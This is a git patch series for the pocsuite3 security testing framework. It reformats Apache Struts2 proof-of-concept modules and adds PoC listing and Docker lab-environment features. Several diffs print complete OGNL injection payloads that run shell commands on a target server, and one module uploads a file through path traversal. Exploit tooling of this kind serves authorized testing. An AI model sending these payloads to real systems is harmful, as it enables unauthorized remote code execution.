diff --git a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
index 607bc2c1..045daceb 100755
--- a/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
+++ b/pocsuite3/pocs/Apache_Struts2/20151216_WEB_Apache_Struts2_029_RCE_CVE-2016-0785.py
@@ -1,4 +1,3 @@
-import random
from collections import OrderedDict
from urllib.parse import quote
@@ -29,6 +28,7 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('', description="可执行的shell命令")
return o
+
def _verify(self):
p = self._check()
if p:
@@ -58,11 +58,11 @@ def _attack(self):
cmd = "{}".format(cmd)
html = requests.get(
self.url + "{payload}".format(payload=exec_payload.format(cmd=quote(cmd)))).text
- result_cmd = get_middle_text(html,"value=\"","\"")
+ result_cmd = get_middle_text(html, "value=\"", "\"")
if html:
result["VerifyInfo"] = {
"URL": self.url,
- "result":result_cmd.replace("\x00","").encode()
+ "result": result_cmd.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
index c7b53261..9999fcf8 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_032_RCE_CVE-2016-3081.py
@@ -55,7 +55,7 @@ def _attack(self):
if req.status_code == 200:
result["VerifyInfo"] = {
"URL": self.url,
- "Content": req.text.replace("\x00","").encode()
+ "Content": req.text.replace("\x00", "").encode()
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
index b80a7889..ee539911 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160310_WEB_Apache_Struts2_033_RCE_CVE-2016-3087.py
@@ -4,7 +4,6 @@
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
@@ -33,6 +32,7 @@ def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
@@ -54,7 +54,7 @@ def _attack(self):
html = requests.get(self.url + "!" + exec_payload.format(cmd=quote(cmd)))
if html:
result["VerifyInfo"] = {
- "result": html.text.replace("\x00","").encode(),
+ "result": html.text.replace("\x00", "").encode(),
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
index ea4d9123..6468b093 100755
--- a/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
+++ b/pocsuite3/pocs/Apache_Struts2/20160502_WEB_Apache_Struts2_037_RCE_CVE-2016-4438.py
@@ -1,11 +1,9 @@
-
from collections import OrderedDict
from urllib.parse import quote
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
@@ -34,6 +32,7 @@ def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
check_poc = "%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]%2b602%2b53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086"
@@ -54,7 +53,7 @@ def _attack(self):
html = requests.get(self.url + "/" + exec_payload.format(cmd=quote(cmd)))
if html:
result["VerifyInfo"] = {
- "result": html.text.replace("\x00","").encode(),
+ "result": html.text.replace("\x00", "").encode(),
}
return self.parse_output(result)
@@ -66,4 +65,5 @@ def parse_output(self, result):
output.fail('target is not vulnerable')
return output
+
register_poc(DemoPOC)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
index d984401e..a2a11bcf 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170129_WEB_Apache_Struts2_045_RCE_CVE-2017-5638.py
@@ -1,5 +1,3 @@
-
-import base64
import random
import string
from collections import OrderedDict
@@ -31,6 +29,7 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('ls', description="可执行的shell命令")
return o
+
def _verify(self):
p = self._check()
if p:
diff --git a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
index f4da1a9a..d9c43e5c 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170411_WEB_Apache_Struts2_046_RCE_CVE-2017-7672.py
@@ -1,6 +1,6 @@
from collections import OrderedDict
-from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, get_listener_ip, get_listener_port
+from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
@@ -74,13 +74,12 @@ def _attack(self):
html = requests.post(self.url, data=data, headers=headers).text
if html:
- result["VerifyInfo"] ={
+ result["VerifyInfo"] = {
"URL": self.url,
- "Content": html.replace("\x00","").encode()
+ "Content": html.replace("\x00", "").encode()
}
return self.parse_output(result)
-
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
index 93d4cefe..dd5fdf34 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_048_RCE_CVE-2017-9791.py
@@ -1,11 +1,10 @@
import random
-import string
from collections import OrderedDict
from urllib.parse import quote
+
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
@@ -29,6 +28,7 @@ def _options(self):
o = OrderedDict()
o["command"] = OptString('ls', description="需要执行的命令")
return o
+
def _verify(self):
p = self._check()
if p:
@@ -49,10 +49,12 @@ def _check(self):
}
return result
return False
- def get_exp(self,cmd):
+
+ def get_exp(self, cmd):
cmd = quote(cmd)
data2 = "name=%25%7B%28%23_%3D%27multipart%2fform-data%27%29.%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23cmd%3D%27" + cmd + "%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27%2fc%27%2C%23cmd%7D%3A%7B%27%2fbin%2fbash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D&age=123&__cheackbox_bustedBefore=true&description=123"
return data2
+
def _attack(self):
result = {}
p = self._check()
@@ -60,14 +62,13 @@ def _attack(self):
cmd = self.get_option("command")
headers = {"Content-Type": "application/x-www-form-urlencoded"}
post_data = self.get_exp(cmd)
- res = requests.post(self.url,headers=headers,data=post_data)
- if res.status_code ==200:
+ res = requests.post(self.url, headers=headers, data=post_data)
+ if res.status_code == 200:
result["VerifyInfo"] = {
- "result":res.text.replace("\x00","").encode()
+ "result": res.text.replace("\x00", "").encode()
}
return self.parse_output(result)
-
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
index 2af703a4..7f83264d 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170621_WEB_Apache_Struts2_052_RCE_CVE-2017-9805.py
@@ -1,11 +1,9 @@
-import random
import shlex
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
-from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
@@ -110,7 +108,7 @@ def _verify(self):
if html:
result["VerifyInfo"] = {
"URL": self.url,
- "success":"success!"
+ "success": "success!"
}
return self.parse_output(result)
diff --git a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
index dc3c5950..9ca50906 100755
--- a/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
+++ b/pocsuite3/pocs/Apache_Struts2/20170807_WEB_Apache_Struts2_053_RCE_CVE-2017-12611.py
@@ -26,17 +26,17 @@ class DemoPOC(POCBase):
samples = []
category = POC_CATEGORY.EXPLOITS.WEBAPP
-
-
def _options(self):
o = OrderedDict()
o['param'] = OptString('message', description='url参数')
o['command'] = OptString('ls', description='执行的命令')
return o
+
def _verify(self):
p = self._check()
if p:
return self.parse_output(p)
+
def _check(self):
result = {}
headers = {
@@ -56,6 +56,7 @@ def _check(self):
}
return result
return False
+
def _attack(self):
result = {}
p = self._check()
@@ -63,15 +64,16 @@ def _attack(self):
url = self.url.rstrip('/')
command = self.get_option("command")
payload = "%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='" + command + "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}"
- headers = {"Content-Type":"application/x-www-form-urlencoded"}
- res = requests.post(url,data=f"{self.get_option('param')}="+quote(payload)+"%0A",headers=headers)
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+ res = requests.post(url, data=f"{self.get_option('param')}=" + quote(payload) + "%0A", headers=headers)
tree = etree.HTML(res.text)
- if res.status_code==200:
+ if res.status_code == 200:
result_cmd = tree.xpath("//*[@type=\"hidden\"]/@id")
result["VerifyInfo"] = {
"result": result_cmd,
}
return self.parse_output(result)
+
def parse_output(self, result):
output = Output(self)
if result:
diff --git a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
index b6364c73..aeef9150 100755
--- a/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
+++ b/pocsuite3/pocs/Apache_Struts2/20180605_WEB_Apache_Struts2_057_RCE_CVE-2018-11776.py
@@ -142,7 +142,8 @@ def expolit(self, mode='verify'):
result['AttackInfo'] = {}
result['AttackInfo']['URL'] = vuln_url
result['AttackInfo']['Command'] = command
- result['AttackInfo']['CommandRet'] = (resp.headers.get("location", "") + resp.text).replace("\x00","").encode()
+ result['AttackInfo']['CommandRet'] = (resp.headers.get("location", "") + resp.text).replace(
+ "\x00", "").encode()
break
except Exception as e:
logger.error(e)
diff --git a/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py b/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
index 685e04ac..5e262a26 100755
--- a/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
+++ b/pocsuite3/pocs/Apache_Struts2/20200812_WEB_Apache_Struts2_061_RCE_CVE-2020-17530.py
@@ -1,16 +1,13 @@
-import base64
-import json
from collections import OrderedDict
-from urllib.parse import urlparse, urljoin, quote
+from collections import OrderedDict
+from urllib.parse import quote
from lxml import etree
-from pocsuite3.api import Output, POCBase, logger, requests, get_listener_ip, get_listener_port
+from pocsuite3.api import Output, POCBase, logger, requests
from pocsuite3.lib.core.enums import VUL_TYPE
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.core.register import register_poc
-from pocsuite3.lib.utils import random_str
-from pocsuite3.modules.listener import REVERSE_PAYLOAD
class DemoPOC(POCBase):
@@ -43,20 +40,20 @@ def exploit(self):
result = {}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cmd = self.get_option("command")
- payload="%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'" + cmd + "'}).(#res=#exec.exec(#cmd))}"
+ payload = "%{('Powered_by_Unicode_Potats0,enjoy_it').(#UnicodeSec = #application['org.apache.tomcat.InstanceManager']).(#potats0=#UnicodeSec.newInstance('org.apache.commons.collections.BeanMap')).(#stackvalue=#attr['struts.valueStack']).(#potats0.setBean(#stackvalue)).(#context=#potats0.get('context')).(#potats0.setBean(#context)).(#sm=#potats0.get('memberAccess')).(#emptySet=#UnicodeSec.newInstance('java.util.HashSet')).(#potats0.setBean(#sm)).(#potats0.put('excludedClasses',#emptySet)).(#potats0.put('excludedPackageNames',#emptySet)).(#exec=#UnicodeSec.newInstance('freemarker.template.utility.Execute')).(#cmd={'" + cmd + "'}).(#res=#exec.exec(#cmd))}"
if cmd:
payload = quote(payload)
data = f"name={payload}&age=1"
- resp = requests.post(self.url.rstrip("/"), data=data,headers=headers)
+ resp = requests.post(self.url.rstrip("/"), data=data, headers=headers)
try:
tree = etree.HTML(resp.text)
# 使用 XPath 匹配值
cmd_result = tree.xpath("//input[@name='name']/@id")[0]
except:
pass
- if resp.status_code==200:
+ if resp.status_code == 200:
result["VerifyInfo"] = {
- "result": cmd_result.replace("\x00","").encode(),
+ "result": cmd_result.replace("\x00", "").encode(),
}
return result
diff --git a/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
index 3c45a85b..ab445efa 100644
--- a/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
+++ b/pocsuite3/pocs/Apache_Struts2/20231204_WEB_Apache_Struts2_066_RCE_CVE-2023-50164.py
@@ -36,13 +36,13 @@ def _verify(self):
url = self.url.rstrip('/') + f"?{upload}FileName={filename}"
def_url = self.url.rstrip('/') + f"?{upload}FileName=1.txt"
if upload is not None and len(upload) > 0:
- upload = upload[0].upper()+upload[1:]
+ upload = upload[0].upper() + upload[1:]
headers = {
"Connection": "Close",
"Content-Type": "multipart/form-data; boundary=3b0bfa1f36cb6157a128f0549a4a7446",
}
- file_context=self.get_option("filecontext").encode()
+ file_context = self.get_option("filecontext").encode()
# html = requests.post(self.url, files=files, headers=headers).text
data = b'''--3b0bfa1f36cb6157a128f0549a4a7446
Content-Disposition: form-data; name="{UPLOAD}"; filename="test.jpg"
@@ -50,14 +50,14 @@ def _verify(self):
{CONTEXT}
--3b0bfa1f36cb6157a128f0549a4a7446--
-'''.replace(b'{UPLOAD}', upload.encode()).replace(b'{CONTEXT}',file_context).replace(b'\n', b'\r\n')
+'''.replace(b'{UPLOAD}', upload.encode()).replace(b'{CONTEXT}', file_context).replace(b'\n', b'\r\n')
requests.post(def_url, data=data, headers=headers)
requests.post(url, data=data, headers=headers)
- res = requests.get(self.url.rstrip("/")+"/../../manager/success.txt")
+ res = requests.get(self.url.rstrip("/") + "/../../manager/success.txt")
if "Upload Success!" in res.text:
result["VerifyInfo"] = {
- "URL": self.url.rstrip('/')+f"/{self.get_option('filename')}",
- "info":"Upload Success! "
+ "URL": self.url.rstrip('/') + f"/{self.get_option('filename')}",
+ "info": "Upload Success! "
}
return self.parse_output(result)
From 7c0736694263298a616c0b5d8a567ec4a3371835 Mon Sep 17 00:00:00 2001
From: wh0am1i
Date: Thu, 7 Dec 2023 17:33:16 +0800
Subject: [PATCH 21/27] feat(): add show all poc form local path command
---
pocsuite3/lib/core/option.py | 48 +++++++++++++++++++++++++++++++++-
pocsuite3/lib/core/settings.py | 1 +
pocsuite3/lib/parse/cmd.py | 1 +
3 files changed, 49 insertions(+), 1 deletion(-)
diff --git a/pocsuite3/lib/core/option.py b/pocsuite3/lib/core/option.py
index 9364e4fd..147e3eee 100644
--- a/pocsuite3/lib/core/option.py
+++ b/pocsuite3/lib/core/option.py
@@ -17,7 +17,8 @@
from pocsuite3.lib.core.common import check_path, extract_cookies
from pocsuite3.lib.core.common import get_local_ip, mosaic, get_host_ip
from pocsuite3.lib.core.common import single_time_warn_message
-from pocsuite3.lib.core.common import OrderedSet, get_file_text
+from pocsuite3.lib.core.common import OrderedSet, get_file_text, get_poc_name
+from pocsuite3.lib.core.common import index_modules, ltrim
from pocsuite3.lib.core.convert import stdout_encode
from pocsuite3.lib.core.data import conf, cmd_line_options
from pocsuite3.lib.core.data import kb
@@ -523,6 +524,7 @@ def _set_conf_attributes():
conf.mode = 'verify'
conf.poc = None
conf.poc_keyword = None
+ conf.poc_list = None
conf.cookie = None
conf.host = None
conf.referer = None
@@ -754,6 +756,49 @@ def _show_pocs_modules_options():
exit()
+def _show_pocs_form_local():
+ if not conf.poc_list:
+ return
+ _pocs = []
+ tb = prettytable.PrettyTable(["Index", "Path", "Name"])
+ if conf.pocs_path:
+ # parse user defined poc scripts path
+ if check_path(conf.pocs_path):
+ for root, dirs, files in os.walk(conf.pocs_path):
+ files = list(filter(lambda x: not x.startswith("__") and x.endswith(".py") or x.endswith(".yaml"), files))
+ conf.poc = [os.path.join(conf.pocs_path, f) for f in files]
+ moduels = index_modules(conf.pocs_path)
+ poc_parent_directory = os.sep.join(
+ conf.pocs_path.rstrip(os.sep).split(os.sep)) + os.sep
+ for poc in moduels:
+ _pocs.append(ltrim(poc, conf.pocs_path).lstrip(os.sep))
+
+ else:
+ # default poc path
+ conf.poc = [paths.POCSUITE_POCS_PATH]
+ moduels = index_modules(paths.POCSUITE_POCS_PATH)
+ poc_parent_directory = os.sep.join(
+ paths.POCSUITE_POCS_PATH.rstrip(os.sep).split(os.sep)[0:-1]) + os.sep
+ for poc in moduels:
+ _pocs.append(ltrim(poc, poc_parent_directory).lstrip(os.sep))
+ # show result table
+ try:
+ index = 0
+ for poc in _pocs:
+ file = os.path.join(poc_parent_directory, poc + ".py")
+ if not os.path.exists(file):
+ file = os.path.join(poc_parent_directory, poc + ".yaml")
+ code = get_file_text(file)
+ name = get_poc_name(code)
+ tb.add_row([str(index), poc, name])
+ index += 1
+ data_to_stdout("\n" + tb.get_string() + "\n")
+ except PocsuiteSystemException as ex:
+ logger.error(str(ex))
+ finally:
+ exit(0)
+
+
def init():
"""
Set attributes into both configuration and knowledge base singletons
@@ -770,6 +815,7 @@ def init():
update()
_set_multiple_targets()
_set_user_pocs_path()
+ _show_pocs_form_local()
# The poc module module must be in front of the plug-in module,
# and some parameters in the poc option call the plug-in
_set_pocs_modules()
diff --git a/pocsuite3/lib/core/settings.py b/pocsuite3/lib/core/settings.py
index b695ee6e..b5dbce03 100644
--- a/pocsuite3/lib/core/settings.py
+++ b/pocsuite3/lib/core/settings.py
@@ -118,6 +118,7 @@
"skip_target_port",
"file",
"poc_keyword",
+ "poc_list",
"verify",
"attack",
"shell",
diff --git a/pocsuite3/lib/parse/cmd.py b/pocsuite3/lib/parse/cmd.py
index fc65c621..a25de2a7 100644
--- a/pocsuite3/lib/parse/cmd.py
+++ b/pocsuite3/lib/parse/cmd.py
@@ -46,6 +46,7 @@ def cmd_line_parser(argv=None):
target.add_argument("-r", dest="poc", nargs='+', help="Load PoC file from local or remote from seebug website")
target.add_argument("-k", dest="poc_keyword", help="Filter PoC by keyword, e.g. ecshop")
target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file")
+ target.add_argument("-l", dest="poc_list", action="store_true", help="Show all PoC file from local")
# Mode options
mode = parser.add_argument_group("Mode", "Pocsuite running mode options")
From 95aa378cc4f934c22673fdf160f1680820618f3e Mon Sep 17 00:00:00 2001
From: wh0am1i
Date: Mon, 25 Dec 2023 14:46:22 +0800
Subject: [PATCH 22/27] feat(): add Build a docker vulnerability environment
with one click
---
pocsuite3/lib/core/common.py | 4 ++
pocsuite3/lib/core/docker_env.py | 64 +++++++++++++++++++++++++++++++
pocsuite3/lib/core/option.py | 55 ++++++++++++++++++++++++++
pocsuite3/lib/core/settings.py | 7 ++++
pocsuite3/lib/parse/cmd.py | 14 +++++++
pocsuite3/lib/parse/dockerfile.py | 27 +++++++++++++
6 files changed, 171 insertions(+)
create mode 100644 pocsuite3/lib/core/docker_env.py
create mode 100644 pocsuite3/lib/parse/dockerfile.py
diff --git a/pocsuite3/lib/core/common.py b/pocsuite3/lib/core/common.py
index b2ea3fec..1a2110cf 100644
--- a/pocsuite3/lib/core/common.py
+++ b/pocsuite3/lib/core/common.py
@@ -458,6 +458,10 @@ def parse_target(address, additional_ports=[], skip_target_port=False):
return targets
+def parse_poc_docker_name(name):
+ return name.lower().replace(' ', '_')
+
+
def single_time_log_message(message, level=logging.INFO, flag=None):
if flag is None:
flag = hash(message)
diff --git a/pocsuite3/lib/core/docker_env.py b/pocsuite3/lib/core/docker_env.py
new file mode 100644
index 00000000..b2c32835
--- /dev/null
+++ b/pocsuite3/lib/core/docker_env.py
@@ -0,0 +1,64 @@
+from io import BytesIO
+from docker import client
+from docker import errors
+
+
+from pocsuite3.lib.core.data import logger
+
+
+class DockerEnv:
+
+ def __init__(self):
+ self.client = client.from_env()
+
+ def build(self, name, docker_file):
+ file_obj = BytesIO(docker_file.encode())
+ try:
+ logger.info("Building image...")
+ build_info = self.client.images.build(fileobj=file_obj, tag=name)
+ return build_info
+ except errors.BuildError as e:
+ logger.error(e)
+
+ def run(self, tag_name, docker_file, ports, envs, volumes):
+ try:
+ # if image exists run
+ self.client.images.get(tag_name)
+ logger.info("Image {} exists".format(tag_name))
+ run_info = self.client.containers.run(
+ tag_name,
+ detach=True,
+ ports=ports,
+ environment=envs,
+ volumes=volumes
+ )
+ return run_info
+ except errors.ImageNotFound:
+ # if image not exists, build image first
+ logger.info("Image {} does not exist".format(tag_name))
+ build_info = self.build(tag_name, docker_file)
+ if build_info[0].tags:
+ run_info = self.client.containers.run(
+ tag_name,
+ detach=True,
+ ports=ports,
+ environment=envs,
+ volumes=volumes
+ )
+ return run_info
+
+
+if __name__ == "__main__":
+ docker_env = DockerEnv()
+ ports = {"8080/tcp": '8899', '8090/tcp': ("127.0.0.1", 8890)}
+ env = ["PORT=8899", "PORT=8890"]
+ volumes = ["/tmp:/home"]
+ dockerfile = "FROM ubuntu:latest"
+ image_tag = "ubuntu:pocsuite"
+ docker_env.run(
+ image_tag,
+ docker_file=dockerfile,
+ ports=ports,
+ envs=env,
+ volumes=volumes
+ )
diff --git a/pocsuite3/lib/core/option.py b/pocsuite3/lib/core/option.py
index 147e3eee..3c6f865c 100644
--- a/pocsuite3/lib/core/option.py
+++ b/pocsuite3/lib/core/option.py
@@ -8,9 +8,11 @@
from queue import Queue
from urllib.parse import urlsplit
+import docker.errors
import socks
import prettytable
from termcolor import colored
+from dockerfile import parse_string
from pocsuite3.lib.core.clear import remove_extra_log_message
from pocsuite3.lib.core.common import boldify_message, check_file, get_file_items, parse_target, \
get_public_type_members, data_to_stdout
@@ -19,6 +21,7 @@
from pocsuite3.lib.core.common import single_time_warn_message
from pocsuite3.lib.core.common import OrderedSet, get_file_text, get_poc_name
from pocsuite3.lib.core.common import index_modules, ltrim
+from pocsuite3.lib.core.common import parse_poc_docker_name
from pocsuite3.lib.core.convert import stdout_encode
from pocsuite3.lib.core.data import conf, cmd_line_options
from pocsuite3.lib.core.data import kb
@@ -31,12 +34,14 @@
from pocsuite3.lib.core.log import FORMATTER
from pocsuite3.lib.core.register import load_file_to_module
from pocsuite3.lib.core.settings import DEFAULT_LISTENER_PORT, CMD_PARSE_WHITELIST
+from pocsuite3.lib.core.docker_env import DockerEnv
from pocsuite3.lib.core.statistics_comparison import StatisticsComparison
from pocsuite3.lib.core.update import update
from pocsuite3.lib.core.template import create_poc_plugin_template
from pocsuite3.lib.parse.cmd import DIY_OPTIONS
from pocsuite3.lib.parse.configfile import config_file_parser
from pocsuite3.lib.parse.rules import regex_rule
+from pocsuite3.lib.parse.dockerfile import parse_dockerfile
from pocsuite3.lib.request.patch import patch_all
from pocsuite3.modules.listener import start_listener
@@ -591,6 +596,13 @@ def _set_conf_attributes():
conf.show_options = False
conf.enable_tls_listener = False
+ # docker args
+ conf.docker_start = False
+ conf.docker_port = list()
+ conf.docker_env = list()
+ conf.docker_volume = list()
+ conf.docker_only = False
+
def _set_kb_attributes(flush_all=True):
"""
@@ -663,6 +675,46 @@ def _set_poc_options(input_options):
DIY_OPTIONS.append(line)
+def _set_docker_options():
+ port_dict = {}
+ if conf.poc and conf.docker_start:
+ # parse port string
+ # in docker package ports need {"2222/tcp": 3333}
+ # will expose port 2222 inside the container as port 3333 on the host.
+ if len(conf.docker_port) > 0:
+ for item in conf.docker_port:
+ item_split = item.rsplit(':', 1)
+ key = '{}/tcp'.format(item_split[1])
+ # if user input 127.0.0.1:8080:8080
+ # need change to {'8080/tcp': ('127.0.0.1', 8080)}
+ if item_split[0].find(":") > 0:
+ temp_port = item_split[0].split(':')
+ host_port = (temp_port[0], int(temp_port[1]))
+ else:
+ host_port = int(item_split[0])
+ port_dict[key] = host_port
+
+ for poc in conf.poc:
+ res = parse_dockerfile(poc)
+ poc_name = parse_poc_docker_name(res.get('name'))
+ tag_name = "{}:{}".format(poc_name, "pocsuite")
+ docker_file = res.get("dockerfile")
+ try:
+ dk = DockerEnv()
+ dk_info = dk.run(
+ tag_name,
+ docker_file,
+ ports=port_dict,
+ envs=conf.docker_env,
+ volumes=conf.docker_volume,
+ )
+ logger.info("Run container {} successful!".format(dk_info.short_id))
+ except docker.errors.APIError as e:
+ logger.error(e)
+ if conf.docker_only:
+ exit(0)
+
+
def init_options(input_options=AttribDict(), override_options=False):
cmd_line_options.update(input_options)
_set_conf_attributes()
@@ -815,10 +867,13 @@ def init():
update()
